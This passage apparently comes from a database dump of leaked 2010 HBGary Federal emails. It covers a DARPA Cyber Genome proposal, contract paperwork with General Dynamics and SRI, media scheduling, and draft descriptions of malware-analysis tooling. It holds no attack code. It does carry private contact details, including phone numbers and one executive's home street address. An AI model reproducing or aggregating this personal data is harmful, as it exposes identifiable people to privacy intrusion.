W.\r\nSubject: Aurora Talk at SAIC\r\n\r\nAaron,\r\n\r\nLooks like Dino or EndGames got cold feet. They say they have too much\r\ngoing on to commit Dino to this event.\r\n\r\nSo the stage is yours and you can keep us captivated with the HBGary\r\nresearch into Aurora.\r\n\r\nWe\'ll plan on Tuesday, April 20th at 4 PM.\r\n\r\nCan you provide a one paragraph bio to include in the meeting\r\nannouncement?\r\n\r\nThanks.\r\n\r\nTim.\r\n\r\nTim Estell -- estellt@saic.com\r\n443-367-7558 (Office) 443-562-2039 (Cell) \r\n',15082,'aaron_hbgary_com/15082.html'),(4637,'2010-03-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002756.M341114P3547Q4638.eml','\"Aaron Barr\" <aaron@hbgary.com>,Chris.Starr@gd-ais.com','Fax','Chris,\r\n\r\nHere\'s our efax:\r\n\r\n720-836-4208\r\n\r\nTed\r\n\r\n',10134,'aaron_hbgary_com/10134.html'),(4638,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002756.M556952P3547Q4639.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','Fwd: Fax','Begin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;Date: March 26, 2010 4:36:47 PM EDTTo: \'Aaron Barr\' &lt;aaron@hbgary.com&gt;, Chris.Starr@gd-ais.comSubject: FaxChris,Here\'s our efax:720-836-4208Ted\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16213,'aaron_hbgary_com/16213.html'),(4639,'2010-03-26','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297002756.M752083P3547Q4640.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','RE: RE: RE: HBGary\'s Data Rights Assertions','\r\n\r\n\r\n\r\n\r\nRE: RE: RE: HBGary\'s Data Rights Assertions\r\n\r\n\r\n\r\n\r\nHi Ted,\r\n\r\n\r\nOkay, per Bob\'s response below, we will identify on GDAIS&nbsp; Proposal Data Rights Assertion Table (that will be submitted to DARPA) to read:\r\n\r\nHBGary REconTM commercial software (1) - this is the information I received in Bob\'s email this morning.&nbsp; It will not read \'HBGary Responder TM Field Edition commercial software (1).\' \r\n\r\nI believe you will need to correct the Assertions table located in your Pricing Spreadsheet&nbsp; (March 17th embedded letter) so that the GDAIS Assertions Table matches HBGary Assertions Table.&nbsp; Otherwise, we will have a disconnect to DARPA.&nbsp; The March 17th embedded letter currently reads \'HBGary Responder TM Field Edition commercial software (1).\' \r\n\r\n&nbsp;I clicked on the cover letter tab in the Pricing Spreadsheet and cannot access the letter to confirm this change needs to take place.&nbsp; Can you open this tab on your pricing speadsheet and confirm back to me?&nbsp; If the change is needed, please update and resend the Pricing Spreadsheet to us.\r\n\r\n\r\nThanks,\r\n\r\nCindy\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\n\r\nSent: Friday, March 26, 2010 1:47 PM\r\n\r\nTo: Larson, Cindy S.; \'Aaron Barr\'\r\n\r\nSubject: Fwd: RE: RE: HBGary\'s Data Rights Assertions\r\n\r\n\r\nCindy,\r\n\r\n\r\nBob\'s content is correct.\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n-------- Original Message --------\r\n\r\nSubject: RE: RE: HBGary\'s Data Rights Assertions\r\n\r\nDate: Fri, 26 Mar 2010 16:39:21 -0400\r\n\r\nFrom: Bob Slapnik &lt;bob@hbgary.com&gt;\r\n\r\nTo: \'Ted Vera\' &lt;ted@hbgary.com&gt;,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \'Aaron Barr\' &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nYes.&nbsp; What I sent to GD today is identical to the latest content I gave Aaron for TA3.\r\n\r\n\r\n\r\n-----Original Message-----\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\n\r\nSent: Friday, March 26, 2010 4:26 PM\r\n\r\nTo: \'Aaron Barr\'; Bob Slapnik\r\n\r\nSubject: Fwd: RE: HBGary\'s Data Rights Assertions\r\n\r\n\r\nBob,\r\n\r\n\r\nIs it safe to say that what you sent to GD for TA1 IP today is the latest and greatest - which supersedes previous versions?\r\n\r\nTed\r\n\r\n\r\n\r\n-------- Original Message --------\r\n\r\nSubject: RE: HBGary\'s Data Rights Assertions\r\n\r\nDate: Fri, 26 Mar 2010 15:22:04 -0500\r\n\r\nFrom: Larson, Cindy S. &lt;Cindy.Larson@gd-ais.com&gt;\r\n\r\nTo: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\n\r\nHi Ted,\r\n\r\n\r\nI do have a question regarding the IP assertions that Bob sent today,\r\n\r\n3/26.&nbsp;&nbsp; In the Table of Bob\'s email, the last line shows HBGary Recon TM\r\n\r\ncommercial software (1).&nbsp; However, what you sent to me today that was embedded in the Excel spreadsheet (letter dated 3/17) identifies HBGary Responder Field Edition commercial software (1) on the last line of the Table.\r\n\r\nWhich is correct?\r\n\r\n\r\nI\'ll look over your other information and get back to you.\r\n\r\n\r\nRegards,\r\n\r\nCindy\r\n\r\n\r\n-----Original Message-----\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\n\r\nSent: Friday, March 26, 2010 12:49 PM\r\n\r\nTo: Larson, Cindy S.\r\n\r\nSubject: Re: HBGary\'s Data Rights Assertions\r\n\r\n\r\nHi Cindy,\r\n\r\n\r\nI believe Bob Slanpik forwarded the IP data rights assertions.&nbsp; Have you received it?\r\n\r\n\r\nI embedded the proposal cover letter in the cost spreadsheet on the cover letter tab as an embedded word document.&nbsp; I\'ve attached it to this email as well.\r\n\r\nPlease let me know if you need anything else.\r\n\r\n\r\nThanks,\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\nOn 3/26/10 12:14 PM, Larson, Cindy S. wrote:\r\n\r\n&gt; Hi Ted,\r\n\r\n&gt;&nbsp; \r\n\r\n&gt; We\'ve had several conversations with your team regarding HBGary\'s data\r\n\r\n\r\n&gt; rights assertions.&nbsp; I haven\'t received the applicable completed Table \r\n\r\n&gt; from you that describes the Assertions.&nbsp; Please refer to my RFP \r\n\r\n&gt; Attachment 8, Item 7, 7.1 - 7.4 (I\'ve reattached).&nbsp; Please complete \r\n\r\n&gt; the applicable Table and return to me, Rex Brunelli and Ryan Vela ASAP\r\n\r\n\r\n&gt; Today.\r\n\r\n&gt;&nbsp; \r\n\r\n&gt; I also haven\'t received your proposal cover letter that addresses all \r\n\r\n&gt; other items required by my RFP and Attachment 1.&nbsp; If I\'ve overlooked \r\n\r\n&gt; it please advise.\r\n\r\n&gt;&nbsp; \r\n\r\n&gt; Thanks,\r\n\r\n&gt; Cindy\r\n\r\n&gt;&nbsp; \r\n\r\n&gt; \r\n\r\n\r\nNo virus found in this incoming message.\r\n\r\nChecked by AVG - www.avg.com\r\n\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/26/10 03:33:00\r\n\r\n\r\n\r\n',3692,'aaron_hbgary_com/3692.html'),(4640,'2010-03-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002756.M960813P3547Q4641.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Proposal - Missing or Incorrect Information - HBGary','\r\n\r\n-------- Original Message --------\r\nSubject: Proposal - Missing or Incorrect Information - HBGary\r\nDate: Fri, 26 Mar 2010 16:00:46 -0500\r\nFrom: Larson, Cindy S. \r\nTo: Ted Vera \r\nCC: Brunelli, Rex ,	Vela, Ryan\r\n,	Harlow, Douglas M. \r\n\r\nHi Ted,\r\n\r\nI looked over the proposal information I\'ve received from you and\r\nrequire the following:\r\n\r\n(1)  Pricing Spreadsheet - The Cost Volume Cover Page tab, Item 15,\r\nidentifies your proposal as Cost Plus Fixed Fee which is incorrect.  Can\r\nyou give Rex Brunelli permission to correct this Proposal Cover Sheet to\r\nread FFP/LOE?  Or, would you like to correct this tab and resend the\r\nPricing Spreadsheet to us?  The  Your proposal cover letter identifies\r\nyour proposal as FFP/LOE which is correct.\r\n\r\n(2)  I cannot locate the completed and signed Attached 3 & 4 Reps/Certs\r\nand Attachment 5 - CAS.  Please send these to me ASAP.  Per the attached\r\nemail this action was previously assigned to Aaron.\r\n\r\n(3)  Refer to RFP Attachment 1, Items 5, 9, 12, 14 and 18.  - need your\r\nresponse to all.\r\n\r\nThanks,\r\n\r\nCindy\r\n\r\n\r\n\r\n',7195,'aaron_hbgary_com/7195.html'),(4641,'2010-03-26','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297002756.M97945P3547Q4637.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Follow Up and Harris Collateral','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David\r\n[mailto:david.etue@fidelissecurity.com] \r\nSent: Thursday, March 25, 2010 9:58 PM\r\nTo: Maria Lucas\r\nCc: Penny Leavy-Hoglund\r\nSubject: Follow Up and Harris Collateral\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMaria,\r\n\r\n&nbsp;\r\n\r\nHere is the Harris forensics\r\ncollateral I picked up at FOSE (cc&#8217;ing Penny in case she&#8217;s interested\r\ntoo.)&nbsp; As promised, I scanned them in and have attached them.&nbsp; It was\r\ngreat to meet in person, and I&#8217;m glad you and Mary had an opportunity to catch\r\nup and plan to address the Fed Civ space together!&nbsp; \r\n\r\n&nbsp;\r\n\r\nI look forward to working with\r\nyou and the team further!\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Fidelis Security Systems\r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        David\r\n        Etue, CIPP/G\r\n        VP, Products and Markets \r\n        \r\n        \r\n        4416\r\n        East West Highway, Suite 310\r\n        Bethesda, MD 20814 \r\n        \r\n       \r\n       \r\n        \r\n        david.etue@fidelissecurity.com\r\n        http://www.fidelissecurity.com\r\n        \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          tel:\r\n          \r\n          fax: \r\n          mobile: \r\n          \r\n          \r\n          (240) 396-2445 \r\n          (301) 652-7097\r\n          (202) 669-3628 \r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    Always have my latest info\r\n    \r\n    \r\n    Want a signature like this?\r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom:\r\nFidelisSecuritySystems [mailto:info@fidelissecurity.com] \r\nSent: Thursday, March 25, 2010 1:18 PM\r\nTo: Etue, David\r\nSubject: Attached Image\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6779,'aaron_hbgary_com/6779.html'),(4642,'2010-03-26','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297002757.M167736P3547Q4642.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Specimen Repository','\r\n	\r\n	\r\nIII.D.2\r\nSpecimen Repository\r\nEach\r\nof the phases within the cyber physiology analysis framework\r\ncollects, analyzes, and outputs some form of data.  It is the data\r\noutput from each of these phases that interconnects within the rest\r\nof the framework. This being the case the Specimen Repository, while\r\nnot an advanced area of research, plays a critical role within the\r\noverall effort.  The various types of data that will need to be\r\nstored include; raw malware objects, specimen externals meta data,\r\nmemory snapshot meta data, runtime data, cyber physiology profile\r\ndata.  We will develop mechanisms to check for duplications as well\r\nas updates to previously archived specimen.\r\n\r\n\r\nThe\r\nactual data collected from the output from the different analyses\r\ncould be stored in two different manners; as a file with a database\r\ncontaining the directory path to the file, stored directly in the\r\ndatabase.  Each method has its own benefits and detriments.  \r\n\r\n\r\n\r\nDatabase\r\n: \r\n\r\nQuery ability\r\n	\r\n		Can be prebuilt to allow for applications with access\r\n		to the database to retrieve consistent results\r\n	Backup and\r\n	replication\r\n	\r\n		Through replication transparency the data stored can\r\n		be backed up without interruption to users and before any hardware\r\n		failures occur.\r\n	Rule enforcement\r\n	\r\n		We can apply rules to attributes so that the\r\n		attributes are clean and reliable. For example, we may have a rule\r\n		that says each specimen can have only one colony associated with it\r\n		(identified by the colony Number). If somebody tries to associate a\r\n		second colony with a given specimen, we want the database to deny\r\n		such a request and display an error message\r\n	Security\r\n	\r\n		Often it is desirable to limit who can see or change\r\n		which attributes or groups of attributes. This may be managed\r\n		directly by individual, or by the assignment of individuals and\r\n		privileges to groups, or (in the most elaborate models) through the\r\n		assignment of individuals and groups to roles which are then\r\n		granted entitlements.\r\n	Computation\r\n	\r\n		There are common computations requested on attributes\r\n		such as counting, summing, averaging, sorting, grouping,\r\n		cross-referencing, etc. Rather than have each computer application\r\n		implement these from scratch, they can rely on the DBMS to supply\r\n		such calculations. \r\n		\r\n	Change and access logging\r\n	\r\n		Often one wants to know who accessed what attributes,\r\n		what was changed, and when it was changed. Logging services allow\r\n		this by keeping a record of access occurrences and changes. \r\n		\r\n	Automated optimization\r\n	\r\n		If there are frequently occurring usage patterns or\r\n		requests, some DBMS can adjust themselves to improve the speed of\r\n		those interactions. In some cases the DBMS will merely provide\r\n		tools to monitor performance, allowing a human expert to make the\r\n		necessary adjustments after reviewing the statistics collected. \r\n		\r\n\r\n\r\n\r\nStoring\r\nthe data directly within the database allows for a central location\r\nthat could allow for the database to do comparison operations on the\r\ndata directly without having to extend multiple application\r\ninterfaces.  This methodology would allow for labor savings during\r\napplication develop through the reuse of built in search methods.  \r\n\r\n\r\n\r\nDecisions\r\nas to what level of detail to you separate data or store as files\r\nUtilize\r\nRDMS where ever possible for cross reference to relevant material for\r\nanalysis during comparison as well as generating reports on the\r\ncomparisons.\r\nRaw\r\n	malware objects\r\n	binaries\r\n		could\r\n			fit in DB\r\n			NAS\r\n		\r\n	\r\n	Specimen\r\n	external meta data (format?)\r\n	DB\r\n		storage\r\n		XML\r\n		files (?) - gen from DB with tool\r\n	\r\n	Memory\r\n	snapshot meta data (format?)\r\n	DB\r\n		storage\r\n	\r\n	Runtime\r\n	data (format?)\r\n	DB\r\n		Storage\r\n	\r\n	Cyber\r\n	physiology profile data (format?)\r\n	DB\r\n		storage\r\n	\r\n\r\n\r\n\r\nComparisons\r\nof \r\n\r\nUtilize\r\n	external meta data, memory snapshot, and physiology profile to\r\n	determine duplication or updates to previously archived specimen\r\n	Generate\r\n	algorithms for comparison ranking \r\n	\r\n	%\r\n		belief it&#39;s alike\r\n		colony\r\n			specimens\r\n		\r\n		%\r\n		belief it&#39;s an update\r\n		specimens\r\n			colony\r\n			(?)\r\n		\r\n	\r\n	Store\r\n	scorings and colony\r\n\r\n\r\n\r\nThis\r\nneeds to talk about the normalization of the data and all the data we\r\nwill collect from the collection sensors, pre-processor, traits and\r\ngenomes, memory analysis, dynamic analysis, graphical and\r\nmathematical models for physiology, etc.\r\nCollection\r\n	Sensors\r\n	Pre-Processor\r\n	Traits\r\n	&amp; Genomes\r\n	Memory\r\n	Analysis\r\n	Dynamic\r\n	Analysis\r\n	Physiology\r\n	Graphical\r\n		Models\r\n		Mathematical\r\n		Models\r\n	\r\n\r\n',13431,'aaron_hbgary_com/13431.html'),(4643,'2010-03-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002760.M138880P3547Q4643.eml','\"Aaron Barr\" <aaron@hbgary.com>','Docs for GD','Docs for GD.\r\n',16452,'aaron_hbgary_com/16452.html'),(4644,'2010-03-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002760.M491355P3547Q4644.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Proposal - Missing or Incorrect Information - HBGary','\r\n\r\n-------- Original Message --------\r\nSubject: Proposal - Missing or Incorrect Information - HBGary\r\nDate: Fri, 26 Mar 2010 16:00:46 -0500\r\nFrom: Larson, Cindy S. \r\nTo: Ted Vera \r\nCC: Brunelli, Rex ,	Vela, Ryan\r\n,	Harlow, Douglas M. \r\n\r\nHi Ted,\r\n\r\nI looked over the proposal information I\'ve received from you and\r\nrequire the following:\r\n\r\n(1)  Pricing Spreadsheet - The Cost Volume Cover Page tab, Item 15,\r\nidentifies your proposal as Cost Plus Fixed Fee which is incorrect.  Can\r\nyou give Rex Brunelli permission to correct this Proposal Cover Sheet to\r\nread FFP/LOE?  Or, would you like to correct this tab and resend the\r\nPricing Spreadsheet to us?  The  Your proposal cover letter identifies\r\nyour proposal as FFP/LOE which is correct.\r\n\r\n(2)  I cannot locate the completed and signed Attached 3 & 4 Reps/Certs\r\nand Attachment 5 - CAS.  Please send these to me ASAP.  Per the attached\r\nemail this action was previously assigned to Aaron.\r\n\r\n(3)  Refer to RFP Attachment 1, Items 5, 9, 12, 14 and 18.  - need your\r\nresponse to all.\r\n\r\nThanks,\r\n\r\nCindy\r\n\r\n\r\n\r\n',6076,'aaron_hbgary_com/6076.html'),(4645,'2010-03-26','\"Colleen Ferguson\" <colleen.ferguson@sri.com>','/aaron@hbgary.com/new/1297002766.M583589P3547Q4645.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','SRI Proposal ECD 10-419 in support of HB Gary proposal to DARPA Cyber Genome BAA Area 3','Mr. Barr,\r\n\r\nSRI International is pleased to provide proposal ECD 10-419 in support \r\nof the subject proposal effort.  The proposal will remain valid until 31 \r\nJuly 2010.  Questions of a technical nature should be addressed to \r\nPhillip Porras at 650-859-3232 or phillip.porras@sri.com.  Contractual \r\nor administrative matters should be addressed to me at 650-859-4199 or \r\ncolleen.ferguson@sri.com.\r\n\r\nRegards,\r\nColleen\r\n\r\n-- \r\nColleen R. Ferguson\r\nSr. Contract Administrator\r\nSRI International\r\n(650) 859-4199\r\ncolleen.ferguson@sri.com\r\n\r\n',2701,'aaron_hbgary_com/2701.html'),(4646,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002766.M955872P3547Q4646.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','wrap','Hi Chris,\r\n\r\nWould you mind sharing what your wrapping the effort on TA1?  Just thinking about TA3.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16049,'aaron_hbgary_com/16049.html'),(4647,'2010-03-26','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297002767.M135251P3547Q4647.eml','\"Aaron Barr\" <aaron@hbgary.com>','Schedule Meeting with Tom Temin, Federal Security Spotlight','Hi Aaron, Tom Temin, the host for the Federal News Radio show, Federal Security Spotlight, would like to meet you&nbsp;to learn more about you, HBGary Federal, and HBGary\'s products. Based on the&nbsp; meeting, he will decide to move ahead to inteview you on the radio show or use the interview for his new security blog.\r\n&nbsp;\r\nHe suggested a possible meeting Tuesday April 6th, Wedn. April 7th or Thursday April 8th at 11 AM for coffee or early lunch -- he suggested meeting near his radio station located at 3400 Idaho Avenue in Washington DC or in Old McLean/Cambridge Road&nbsp;-- closer to his house.&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;\r\nHe seemed to prefer Old McLean, but would be open to either location. Which location is better for you? I wasn\'t sure where you lived. Let me know if you would like to pursue this meeting. For more on Tom and his radio show, please visit&nbsp;\r\nhttp://www.federalnewsradio.com/index.php?nid=55&amp;sid=1560634\r\n&nbsp;\r\nThanks Aaron. Best, Karen\r\n&nbsp;\r\n\r\n\r\n\r\n',14476,'aaron_hbgary_com/14476.html'),(4648,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002767.M358836P3547Q4648.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Schedule Meeting with Tom Temin, Federal Security Spotlight','From my iPhoneBegin forwarded message:From: Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\nDate: March 26, 2010 6:53:20 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Schedule Meeting with Tom Temin, Federal Security Spotlight  \r\nHi Aaron, Tom Temin, the host for the Federal News Radio show, Federal Security Spotlight, would like to meet you to learn more about you, HBGary Federal, and HBGary&#39;s products. Based on the  meeting, he will decide to move ahead to inteview you on the radio show or use the interview for his new security blog.\r\n\r\n \r\nHe suggested a possible meeting Tuesday April 6th, Wedn. April 7th or Thursday April 8th at 11 AM for coffee or early lunch -- he suggested meeting near his radio station located at 3400 Idaho Avenue in Washington DC or in Old McLean/Cambridge Road -- closer to his house.    \r\n\r\n \r\nHe seemed to prefer Old McLean, but would be open to either location. Which location is better for you? I wasn&#39;t sure where you lived. Let me know if you would like to pursue this meeting. For more on Tom and his radio show, please visit \r\n\r\nhttp://www.federalnewsradio.com/index.php?nid=55&amp;sid=1560634\r\n\r\n \r\nThanks Aaron. Best, Karen\r\n \r\n\r\n\r\n\r\n      \r\n',12070,'aaron_hbgary_com/12070.html'),(4649,'2010-03-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002767.M583904P3547Q4649.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Schedule Meeting with Tom Temin, Federal Security Spotlight','I live in McLean near CIA.1223 Potomac school rdMcLean vaI think both are a split for me so either would work.  I can do an early lunch on those days at the moment.\r\nAaronFrom my iPhoneOn Mar 26, 2010, at 6:53 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nHi Aaron, Tom Temin, the host for the Federal News Radio show, Federal Security Spotlight, would like to meet you to learn more about you, HBGary Federal, and HBGary&#39;s products. Based on the  meeting, he will decide to move ahead to inteview you on the radio show or use the interview for his new security blog.\r\n\r\n \r\nHe suggested a possible meeting Tuesday April 6th, Wedn. April 7th or Thursday April 8th at 11 AM for coffee or early lunch -- he suggested meeting near his radio station located at 3400 Idaho Avenue in Washington DC or in Old McLean/Cambridge Road -- closer to his house.    \r\n\r\n \r\nHe seemed to prefer Old McLean, but would be open to either location. Which location is better for you? I wasn&#39;t sure where you lived. Let me know if you would like to pursue this meeting. For more on Tom and his radio show, please visit \r\n\r\nhttp://www.federalnewsradio.com/index.php?nid=55&amp;sid=1560634\r\n\r\n \r\nThanks Aaron. Best, Karen\r\n \r\n\r\n\r\n\r\n      \r\n',7522,'aaron_hbgary_com/7522.html'),(4650,'2010-03-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002767.M814671P3547Q4650.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,,','The Growing China Threat','This has been quite a week.  Google, Dell, and Godaddy announce they are moving out of China.  The military is continuing to drum the beat of a growing chinese threat.  Today a \"DNS\" error in a root DNS server in China cause it\'s filtering technology to spread overseas redirecting and blocking parts of the web.\r\n\r\nIf things continue in this vein, APT will come to mean only one thing, the Chinese Threat, as most other threats will take backstage.\r\n\r\nThe government is an interesting animal, and in most cases, despite its size it really only is capable of focusing on a few things at once.  The wars certainly take up a good portion of the attention and for the last decade the Middle East in general was the focus.  If the Chinese threat continues to escalate on the national conscious a significant amount of resources will be dedicated to repelling this threat.  The biggest increase in budgets will be seen on the offensive side, which typically are dwarfed by the defensive budgets but will see the biggest percentage swings in times of crisis.\r\n\r\nI believe we are at a tipping point in aggressive defensive and offensive positioning.  What do we need to do to be ready?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3590,'aaron_hbgary_com/3590.html'),(4651,'2010-03-27','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002769.M803389P3547Q4651.eml','\"Aaron Barr\" <aaron@hbgary.com>','Here is some content','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIII.D.6 Static Memory\r\nAnalysis and Runtime Tracer (SMART)\r\n\r\nThe SMART\r\nsystem will provide a nearly complete picture of the execution of any piece of\r\nsoftware by combining the data acquired from three primary technologies:&nbsp; \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nRuntime tracer\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPhysical memory imaging and reconstruction\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDataflow tracer\r\n\r\n&nbsp;\r\n\r\nRuntime\r\nTracer\r\n\r\nThe Runtime\r\nTracer is a software tracing system and instrumented data collector capable of\r\nsampling and capturing data while tracing every process and every thread, both\r\nusermode and kernelmode, system wide and in real time.&nbsp; It will capture control\r\nand data flow at a single step resolution.&nbsp; Data sampling captures the contents\r\nof registers, the stack, and target buffers of de-referenceable pointers.&nbsp;\r\nSymbols are resolved for all known API calls, and when combined with argument\r\nsampling, will drastically reduce the time required to gain program\r\nunderstanding.\r\n\r\n&nbsp;\r\n\r\nThe Runtime\r\nTracer&#8217;s post-execution debugging is a paradigm shift from traditional\r\ninteractive live debugging.&nbsp; While traditional interactive debugging is useful\r\nfor software development, it is cumbersome when used for tracing program behavior.&nbsp;\r\nTraditional debugging tools are designed for control of software execution, as\r\nopposed to observation only.&nbsp; The reverse engineer only needs to observe\r\nthe binary&#8217;s behavior and data.&nbsp; The software under test is recorded\r\nduring runtime.&nbsp; The analysis takes place later.&nbsp; Unlike traditional debuggers,\r\nthe Runtime Tracer can follow multiple processes and trace parent/child process\r\nexecution.&nbsp; It can also follow a process injecting a DLL into another process.\r\n\r\n&nbsp;\r\n\r\nThe Runtime\r\nTracer operates at a very low level within the system, layering itself directly\r\nabove the Hardware Abstraction Layer (HAL) and underneath the Windows kernel to\r\nprovide complete control over the operating environment while at the same time\r\nmaintaining performance levels to trace software in real time.&nbsp; It will not be\r\nbound by dependency on the Windows userland Debugging API and therefore will\r\nnot be thwarted by malware anti-debugging tricks.&nbsp; The target software is not\r\nmodified in any way.&nbsp; No breakpoints are injected.&nbsp; No thread context is\r\nchanged.&nbsp; No debugger is attached.&nbsp; Tracing is performed completely external to\r\nthe process operating environment.&nbsp;&nbsp; \r\n\r\n&nbsp;\r\n\r\nPhysical\r\nMemory Imaging and Reconstruction\r\n\r\nOnce the\r\nRuntime Tracer completes its runtime data collection, additional low level data\r\ncan be harvested from physical memory.&nbsp; SMART will image physical memory\r\n(including RAM and pagefile) and reconstruct the operating system to recover\r\nall digital objects present in memory at the time of the image snapshot.&nbsp; Low\r\nlevel data collected will include executables, processes, drivers, modules,\r\nstrings, symbols, network sockets, open files and data buffers.&nbsp; Any digital\r\nobject can extracted, disassembled and examined down to its hexadecimal\r\nrepresentation in memory.&nbsp; Because all objects and data are recovered they can\r\nalso be inspected in relation to each other for contextual information.&nbsp; \r\n\r\n&nbsp;\r\n\r\nDataflow\r\nTracer\r\n\r\nTo\r\nmore fully understand a binary&#8217;s functions and behaviors a skilled\r\nreverse engineer will &#8220;follow the data&#8221; to understand what code\r\nblocks operate on it and how.&nbsp; The engineer must emulate or model a computer\r\nsystem in his mind and keep painstakingly detailed and exhaustive notes of ever\r\nchanging buffer values and data states.&nbsp; This work can take days or weeks\r\ndepending on the program&#8217;s size and how deeply he seeks to understand its\r\nbehaviors.\r\n\r\n&nbsp;\r\n\r\nWe\r\npropose to develop an automated Dataflow Tracer to reveal complex relationships\r\nbetween code blocks and data which will take us far beyond low level data\r\ncollection from runtime tracing and physical memory reconstruction.&nbsp; Dataflow\r\ntracing will associate different code blocks with each other by cross\r\nreferencing common data and data derivatives used by code.&nbsp; Suppose code\r\nsection A uses some data in memory and at a later time code section B uses the\r\nsame data.&nbsp; It is very common that code blocks A and B can exist in different\r\nmodules or threads while not appearing to be related in the code logic, but the\r\nfact that they operate on the same data establishes a relationship.&nbsp;\r\nLet&#8217;s look at a simple example.&nbsp; Suppose a binary reads in an encrypted\r\nconfiguration file then later on other code decrypts it to reveal an IP address\r\nwhich is copied and moved to another location in memory and then used to\r\nattempt a connection for command and control.&nbsp; By following the data we can\r\nidentify the code blocks that touch and operate on it even if the data is in\r\nits nth generation and morphed multiple times.&nbsp; Dataflow tracing\r\nfollow and record many data mutations and data movements.&nbsp; Tying the data\r\ntogether gives a more complete picture.&nbsp; \r\n\r\n&nbsp;\r\n\r\nABOVE\r\nHERE IS GOOD.&nbsp; BELOW HERE IS 